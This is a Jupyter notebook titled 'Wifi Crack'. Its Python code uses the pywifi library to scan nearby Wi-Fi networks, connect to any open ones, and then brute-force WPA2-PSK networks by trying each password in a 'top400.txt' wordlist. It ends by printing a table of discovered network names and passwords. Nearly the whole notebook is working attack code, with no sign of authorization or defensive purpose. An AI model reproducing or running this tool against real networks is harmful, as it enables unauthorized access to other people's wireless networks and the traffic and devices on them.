Wifi Crack - Ipynb
Wifi Crack - Ipynb
"cells": [
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"slideshow": {
"slide_type": "slide"
}
},
"outputs": [],
"source": [
"import time\n",
"#To hault the flow of program\n",
"#https://docs.python.org/3/library/time.html\n",
"\n",
"#pip install pywifi\n",
"\n",
"import pywifi\n",
"from pywifi import const\n",
"#To work with wireless interfaces\n",
"#https://pypi.org/project/pywifi/\n",
"#https://github.com/awkman/pywifi/blob/master/DOC.md"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"slideshow": {
"slide_type": "slide"
}
},
"outputs": [],
"source": [
"available_devices = []\n",
"keys = []\n",
"final_output = {}"
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "slide"
}
},
"source": [
"#### Get interface information"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"slideshow": {
"slide_type": "subslide"
}
},
"outputs": [],
"source": [
"wifi = pywifi.PyWiFi()\n",
"interface = wifi.interfaces()[0]"
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "subslide"
}
},
"source": [
"##### In general, there will be only one Wi-Fi interface in the platform.
Thus, use index 0 to obtain the Wi-Fi interface. "
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "slide"
}
},
"source": [
"### Get the name of the Wi-Fi interface."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"slideshow": {
"slide_type": "subslide"
}
},
"outputs": [],
"source": [
"print(interface.name())"
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "slide"
}
},
"source": [
"### Now let's scan the network."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"slideshow": {
"slide_type": "slide"
}
},
"outputs": [],
"source": [
"interface.scan()"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"slideshow": {
"slide_type": "subslide"
}
},
"outputs": [],
"source": [
"time.sleep(5) \n",
"#Because the scan time for each Wi-Fi interface is variant. \n",
"#It is safer to call scan_results() 2 ~ 8 seconds later after calling scan()."
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "slide"
}
},
"source": [
"### Obtain the results of the previous triggerred scan. A Profile list will be
returned."
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"slideshow": {
"slide_type": "subslide"
}
},
"outputs": [],
"source": [
"x = interface.scan_results()\n",
"print(type(x))"
]
},
{
"cell_type": "markdown",
"metadata": {
"slideshow": {
"slide_type": "slide"
}
},
"source": [
"## Let's see all network Profiles"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"slideshow": {
"slide_type": "subslide"
}
},
"outputs": [],
"source": [
"for i in x:\n",
" #print(i.ssid)\n",
" available_devices.append(i.ssid)"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"slideshow": {
"slide_type": "slide"
}
},
"outputs": [],
"source": [
"for i in available_devices:\n",
" print (\"{:<5} => {:}\".format(\"Host Name\", i))"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"slideshow": {
"slide_type": "slide"
}
},
"outputs": [],
"source": [
"for i in available_devices:\n",
" nm = i\n",
" i=i.strip()\n",
" profile = pywifi.Profile()\n",
" profile.ssid = i\n",
" profile.auth = const.AUTH_ALG_OPEN\n",
" profile.akm.append(const.AKM_TYPE_NONE)\n",
" wifi = pywifi.PyWiFi()\n",
" iface = wifi.interfaces()[0]\n",
" iface.remove_all_network_profiles()\n",
" profile = iface.add_network_profile(profile)\n",
" iface.connect(profile)\n",
" time.sleep(4)\n",
" if iface.status() == const.IFACE_CONNECTED:\n",
" print('success password of the network',i,' is',\"none\")\n",
" final_output[i] = \"\"\n",
" available_devices.remove(nm)"
]
},
{
"cell_type": "markdown",
"metadata": {},
"source": [
"# step-2"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"slideshow": {
"slide_type": "slide"
}
},
"outputs": [],
"source": [
"with open('top400.txt','r') as f:\n",
" for i in f:\n",
" i = i.replace('\\n','')\n",
" if i not in keys:\n",
" keys.append(i)"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"slideshow": {
"slide_type": "subslide"
}
},
"outputs": [],
"source": [
"print(keys)"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"slideshow": {
"slide_type": "slide"
}
},
"outputs": [],
"source": [
"try:\n",
" for i in available_devices:\n",
" profile = pywifi.Profile()\n",
" i=i.strip()\n",
" profile.ssid = i\n",
" profile.auth = const.AUTH_ALG_OPEN\n",
" profile.akm.append(const.AKM_TYPE_WPA2PSK)\n",
" profile.cipher = const.CIPHER_TYPE_CCMP\n",
" flag=0\n",
" for j in keys:\n",
" j=j.strip()\n",
" profile.key = j\n",
" wifi = pywifi.PyWiFi()\n",
" iface = wifi.interfaces()[0]\n",
" iface.remove_all_network_profiles()\n",
" profile = iface.add_network_profile(profile)\n",
"\n",
" iface.connect(profile)\n",
" time.sleep(4)\n",
" if iface.status() == const.IFACE_CONNECTED:\n",
" print('success password of the network',i,' is',j)\n",
" final_output[i] = j\n",
" flag=1\n",
" break\n",
"except Exception as e:\n",
" print(e)\n",
" #if flag == 0:\n",
" #print('sorry we are not able to CRACK PASSWORD of',i)"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"slideshow": {
"slide_type": "slide"
}
},
"outputs": [],
"source": [
"print('*'*10,'Discovered Password','*'*10)\n",
"print(\"{0:<12} {1:<}\".format(\"HOST NAME\",\"PASSWORD\"))\n",
"for SSID,Key in final_output.items():\n",
" print (\"{:<12}|{:<12}\".format(SSID, Key))\n",
"available_devices.clear()"
]
}
],
"metadata": {
"celltoolbar": "Slideshow",
"kernelspec": {
"display_name": "Python 3",
"language": "python",
"name": "python3"
},
"language_info": {
"codemirror_mode": {
"name": "ipython",
"version": 3
},
"file_extension": ".py",
"mimetype": "text/x-python",
"name": "python",
"nbconvert_exporter": "python",
"pygments_lexer": "ipython3",
"version": "3.7.3"
}
},
"nbformat": 4,
"nbformat_minor": 2
}